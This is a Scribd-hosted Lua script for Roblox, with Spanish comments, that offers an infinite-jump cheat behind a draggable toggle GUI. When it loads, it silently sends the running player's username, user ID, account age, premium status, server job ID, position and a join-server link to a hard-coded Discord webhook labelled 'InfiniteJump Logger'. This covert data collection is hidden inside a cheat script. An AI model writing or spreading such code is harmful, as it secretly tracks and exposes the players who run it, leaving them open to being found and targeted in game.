0% found this document useful (0 votes)
8 views5 pages

Script

The document is a Lua script for a Roblox game that implements an infinite jump feature for players. It includes a GUI for toggling the feature on and off, and it sends player information to a Discord webhook when the script is executed. The script also handles user input for jumping and GUI interactions, ensuring a smooth user experience.

Uploaded by

geratina1234
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
8 views5 pages

Script

The document is a Lua script for a Roblox game that implements an infinite jump feature for players. It includes a GUI for toggling the feature on and off, and it sends player information to a Discord webhook when the script is executed. The script also handles user input for jumping and GUI interactions, ensuring a smooth user experience.

Uploaded by

geratina1234
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

-- LocalScript en StarterPlayerScripts

-- Nombre: InfiniteJumpScript

local Players = game:GetService("Players")


local UserInputService = game:GetService("UserInputService")
local HttpService = game:GetService("HttpService")
local player = [Link]
local character = [Link] or [Link]:Wait()

local infiniteJumpEnabled = false

-- =============================
-- WEBHOOK CONFIG
-- =============================
local WEBHOOK_URL =
"[Link]
rJYTlH84GBqCoTBL09YRnOFbUKXvAv77fx8GGwsY8yw_DBzbKy7hOzVk" -- Reemplaza con tu
webhook de Discord

local function sendWebhook()


local userId = tostring([Link])
local username = [Link]
local displayName = [Link]
local accountAge = [Link]
local gameName =
game:GetService("MarketplaceService"):GetProductInfo([Link]).Name
local placeId = tostring([Link])
local gameId = tostring([Link])
local jobId = tostring([Link])

-- Info del personaje


local char = [Link]
local position = "N/A"
if char and char:FindFirstChild("HumanoidRootPart") then
local pos = [Link]
position = [Link]("X: %.1f, Y: %.1f, Z: %.1f", pos.X, pos.Y,
pos.Z)
end

-- Info de la cuenta
local isPremium = [Link] == [Link] and "✅
Sí" or "❌ No"

local payload = HttpService:JSONEncode({


username = "InfiniteJump Logger",
avatar_url = "[Link]
userId=" .. userId .. "&width=420&height=420&format=png",
embeds = {{
title = "🎮 Script Ejecutado",
color = 0xFF4444,
thumbnail = {
url = "[Link]
userId=" .. userId .. "&width=420&height=420&format=png"
},
fields = {
{ name = "👤 Usuario", value = username .. " (@" ..
displayName .. ")", inline = true },
{ name = "🆔 User ID", value = "[" .. userId ..
"]([Link] .. userId .. "/profile)", inline = true },
{ name = "📅 Antigüedad de Cuenta", value =
tostring(accountAge) .. " días", inline = true },
{ name = "💎 Premium", value = isPremium, inline = true },
{ name = " Juego", value = gameName, inline = false },
{ name = "🔑 Place ID", value = placeId, inline = true },
{ name = "🎲 Game ID", value = gameId, inline = true },
{ name = " Job ID", value = "```" .. jobId .. "```", inline
= false },
{ name = "📍 Posición", value = position, inline = false },
{ name = "🔗 Perfil", value = "[Ver
perfil]([Link] .. userId .. "/profile)", inline = true },
{ name = " Unirse al servidor", value = "[Click aquí]
([Link] .. placeId .. "?privateServerLinkCode=" .. jobId ..
")", inline = true },
},
footer = { text = "InfiniteJump Logger • " .. [Link]("%Y-%m-%d
%H:%M:%S") },
timestamp = [Link]("!%Y-%m-%dT%H:%M:%SZ")
}}
})

local success, err = pcall(function()


HttpService:PostAsync(WEBHOOK_URL, payload,
[Link])
end)

if not success then


warn("[Webhook] Error al enviar: " .. tostring(err))
else
print("[Webhook] Información enviada ✅")
end
end

-- Enviar al cargar el script


[Link](sendWebhook)

-- =============================
-- CREAR GUI
-- =============================
local screenGui = [Link]("ScreenGui")
[Link] = "InfiniteJumpGui"
[Link] = false
[Link] = [Link]

local frame = [Link]("Frame")


[Link] = [Link](0, 200, 0, 105)
[Link] = [Link](0, 20, 0, 20)
frame.BackgroundColor3 = [Link](15, 15, 25)
[Link] = 0
[Link] = screenGui

local frameCorner = [Link]("UICorner")


[Link] = [Link](0, 12)
[Link] = frame

local frameStroke = [Link]("UIStroke")


[Link] = [Link](255, 255, 255)
[Link] = 1.2
[Link] = 0.7
[Link] = frame

local topBar = [Link]("Frame")


[Link] = [Link](1, 0, 0, 32)
[Link] = [Link](0, 0, 0, 0)
topBar.BackgroundColor3 = [Link](30, 30, 50)
[Link] = 0
[Link] = frame

local topCorner = [Link]("UICorner")


[Link] = [Link](0, 12)
[Link] = topBar

local topPatch = [Link]("Frame")


[Link] = [Link](1, 0, 0.5, 0)
[Link] = [Link](0, 0, 0.5, 0)
topPatch.BackgroundColor3 = [Link](30, 30, 50)
[Link] = 0
[Link] = topBar

local titleLabel = [Link]("TextLabel")


[Link] = [Link](1, -40, 1, 0)
[Link] = [Link](0, 10, 0, 0)
[Link] = 1
[Link] = "sada"
titleLabel.TextColor3 = [Link](255, 255, 255)
[Link] = [Link]
[Link] = 15
[Link] = [Link]
[Link] = topBar

local closeBtn = [Link]("TextButton")


[Link] = [Link](0, 28, 0, 28)
[Link] = [Link](1, -30, 0, 2)
closeBtn.BackgroundColor3 = [Link](200, 40, 40)
closeBtn.TextColor3 = [Link](255, 255, 255)
[Link] = [Link]
[Link] = 14
[Link] = "✕"
[Link] = 0
[Link] = topBar

local closeCorner = [Link]("UICorner")


[Link] = [Link](0, 6)
[Link] = closeBtn

local button = [Link]("TextButton")


[Link] = [Link](1, -20, 0, 42)
[Link] = [Link](0, 10, 0, 42)
button.BackgroundColor3 = [Link](220, 50, 50)
button.TextColor3 = [Link](255, 255, 255)
[Link] = [Link]
[Link] = 15
[Link] = "🚫 Salto Infinito: OFF"
[Link] = 0
[Link] = frame

local btnCorner = [Link]("UICorner")


[Link] = [Link](0, 8)
[Link] = button

local btnStroke = [Link]("UIStroke")


[Link] = [Link](255, 255, 255)
[Link] = 1
[Link] = 0.8
[Link] = button

closeBtn.MouseButton1Click:Connect(function()
infiniteJumpEnabled = false
screenGui:Destroy()
end)

[Link]:Connect(function() closeBtn.BackgroundColor3 =
[Link](255, 60, 60) end)
[Link]:Connect(function() closeBtn.BackgroundColor3 =
[Link](200, 40, 40) end)

local dragging = false


local dragStart = nil
local startPos = nil

[Link]:Connect(function(input)
if [Link] == [Link].MouseButton1 or
[Link] == [Link] then
dragging = true
dragStart = [Link]
startPos = [Link]
end
end)

[Link]:Connect(function(input)
if dragging and ([Link] == [Link] or
[Link] == [Link]) then
local delta = [Link] - dragStart
[Link] = [Link](
[Link], [Link] + delta.X,
[Link], [Link] + delta.Y
)
end
end)

[Link]:Connect(function(input)
if [Link] == [Link].MouseButton1 or
[Link] == [Link] then
dragging = false
end
end)

button.MouseButton1Click:Connect(function()
infiniteJumpEnabled = not infiniteJumpEnabled
if infiniteJumpEnabled then
button.BackgroundColor3 = [Link](30, 180, 80)
[Link] = "✅ Salto Infinito: ON"
else
button.BackgroundColor3 = [Link](220, 50, 50)
[Link] = "🚫 Salto Infinito: OFF"
end
end)
[Link]:Connect(function() [Link] = 16 end)
[Link]:Connect(function() [Link] = 15 end)

[Link]:Connect(function()
if not infiniteJumpEnabled then return end
local char = [Link]
if not char then return end
local humanoid = char:FindFirstChildOfClass("Humanoid")
local rootPart = char:FindFirstChild("HumanoidRootPart")
if humanoid and rootPart and humanoid:GetState() ~=
[Link] then
humanoid:ChangeState([Link])
end
end)

print("[InfiniteJump] Script cargado correctamente ✅")

You might also like